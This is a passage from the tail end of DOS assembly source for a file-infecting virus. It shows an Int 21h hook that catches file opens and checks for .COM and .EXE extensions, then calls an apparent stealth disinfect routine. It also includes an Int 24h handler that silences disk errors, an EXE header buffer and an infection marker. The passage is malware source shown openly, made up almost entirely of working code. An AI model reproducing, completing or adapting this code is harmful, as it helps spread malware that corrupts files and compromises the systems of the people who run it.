  739. ;                       Open File by DOS Int21h/ah=6ch
  740. ;-------------------------------------------------------------------------------
  741. open_ext_file:  push    dx                              ;save DX
  742.                 mov     dx,si                           ;asciiz=DS:DX now
  743.                 jmp     open_ext                        ;jmp
  744. ;-------------------------------------------------------------------------------
  745. ;                       Open File by DOS Int21h/ah=3Dh
  746. ;-------------------------------------------------------------------------------
  747. open_file:      push    dx                              ;save dx (asciiz)
  748. open_ext:       call    check_extension                 ;check extension
  749.                 cmp     byte ptr cs:[com_ext],1         ;is it a .com?
  750.                 je      open_ok_ext                     ;yep, then jmp
  751.                 cmp     byte ptr cs:[exe_ext],1         ;is it a .exe?
  752.                 je      open_ok_ext                     ;yep, them jmp
  753.                 jmp     open_exit                       ;ext no good, exit!
  754.  
  755. open_ok_ext:    call    exec_disinfect1                 ;disinfect file!
  756. open_exit:      pop     dx                              ;restore dx
  757.                 jmp     int21call                       ;exit to dos...
  758. ;-------------------------------------------------------------------------------
  759. ;                       Checks Buffer (EXE) Header
  760. ;-------------------------------------------------------------------------------
  761. chkbuf                  PROC
  762.                 push    si                              ;save register
  763.                 mov     si,word ptr cs:[buffer]         ;get first word
  764.                 cmp     si,5A4Dh                        ;si=ZM?
  765.                 je      chkbuf_ok                       ;if yes exit
  766.                 cmp     si,4D5Ah                        ;si=MZ?
  767. chkbuf_ok:      pop     si                              ;pop register
  768.                 ret
  769. chkbuf                  ENDP
  770. ;-------------------------------------------------------------------------------
  771. ;                       Check file Extension
  772. ;-------------------------------------------------------------------------------
  773. check_extension         PROC
  774.                 pushf                                   ;save flags
  775.                 push    cx                              ;save cx,si
  776.                 push    si
  777.                 mov     si,dx                           ;ds:[si]=asciiz
  778.                 mov     cx,128                          ;scan 128 bytes max
  779.                 mov     byte ptr cs:[com_ext],0         ;reset .com flag
  780.                 mov     byte ptr cs:[exe_ext],0         ;reset .exe flag
  781.  
  782. check_ext:      cmp     byte ptr ds:[si],2Eh            ;scan for "."
  783.                 je      check_ext1                      ;jmp if found
  784.                 inc     si                              ;else inc and loop
  785.                 loop    check_ext                       ;loop me
  786.  
  787. check_ext1:     inc     si                              ;inc asciiz ptr
  788.                 cmp     word ptr ds:[si],'OC'           ;is it .COM
  789.                 jne     check_ext2                      ;       ~~
  790.                 cmp     byte ptr ds:[si+2],'M'          ;is it .COM
  791.                 je      com_file_ext                    ;         ~
  792.  
  793. check_ext2:     cmp     word ptr ds:[si],'oc'           ;is it .com
  794.                 jne     check_ext3                      ;       ~~
  795.                 cmp     byte ptr ds:[si+2],'m'          ;is it .com
  796.                 je      com_file_ext                    ;         ~
  797.  
  798. check_ext3:     cmp     word ptr ds:[si],'XE'           ;is it .EXE
  799.                 jne     check_ext4                      ;       ~~
  800.                 cmp     byte ptr ds:[si+2],'E'          ;is it .EXE
  801.                 je      exe_file_ext                    ;         ~
  802.  
  803. check_ext4:     cmp     word ptr ds:[si],'xe'           ;is it .exe
  804.                 jne     check_ext_exit                  ;       ~~
  805.                 cmp     byte ptr ds:[si+2],'e'          ;is it .exe
  806.                 je      exe_file_ext                    ;         ~
  807.                 jmp     check_ext_exit                  ;neither exit
  808.  
  809. com_file_ext:   mov     byte ptr cs:[com_ext],1         ;found .com file
  810.                 jmp     SHORT check_ext_exit            ;jmp short
  811. exe_file_ext:   mov     byte ptr cs:[exe_ext],1         ;found .exe file
  812.  
  813. check_ext_exit: pop     si                              ;restore
  814.                 pop     cx
  815.                 popf                                    ;save flags
  816.                 ret
  817.  
  818. com_ext         db      0                               ;flag on=.com file
  819. exe_ext         db      0                               ;flag on=.exe file
  820. check_extension         ENDP
  821. ;-------------------------------------------------------------------------------
  822. ;                       Original Int21h
  823. ;-------------------------------------------------------------------------------
  824. calldos21               PROC
  825.                 pushf                           ;fake int call
  826.                 call    dword ptr cs:[int21]    ;call original int_21
  827.                 ret
  828. calldos21               ENDP
  829. ;===============================================================================
  830. ;                       Int 24h Handler
  831. ;===============================================================================
  832. int24_handler:
  833.                 mov     al,3                    ;don't report error...
  834.                 iret                            ;later dude...
  835. ;-------------------------------------------------------------------------------
  836. ;              FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
  837.  
  838. close           db      0                       ;closing file
  839.  
  840. ;-------------------------------------------------------------------------------
  841. ;             END - END - END - END - END - END - END
  842.  
  843. flags           dw      0                       ;Flags are saved here
  844. attrib          db      0                       ;file's attrib
  845. filesize        dd      0                       ;filesize
  846. handle          dw      0                       ;file handler
  847. old_date        dw      0                       ;file date
  848. old_time        dw      0                       ;file time
  849. org_time        dw      0                       ;original file time
  850.  
  851. ;-------------------------------------------------------------------------------
  852. buffer          db      0CDh,020h       ; 0 (0)  EXE file signature
  853.                 db      090h,090h       ; 2 (2)  Length of file
  854.                 db      090h,090h       ; 4 (4)  Size of file + header (512k)
  855.                 db      090h,090h       ; 6 (6)  # of relocation items
  856.                 db      090h,090h       ; 8 (8)  Size of header (16byte para)
  857.                 db      090h,090h       ; A (10) Min para needed (16byte)
  858.                 db      090h,090h       ; C (12) Max para needed (16byte)
  859.                 db      090h,090h       ; E (14) SS reg from start in para.
  860.                 db      090h,090h       ; 10(16) SP reg at entry
  861.                 db      090h,090h       ; 12(18) checksum
  862.                 db      090h,090h       ; 14(20) IP reg at entry
  863.                 db      090h,090h       ; 16(22) CS reg from start in para.
  864. Marker          db      0DBh,0DBh       ; Marks THIS File as INFECTED!
  865. last:
  866. seg_a           ends
  867.                 end     start
  868. ================================================================================
  869.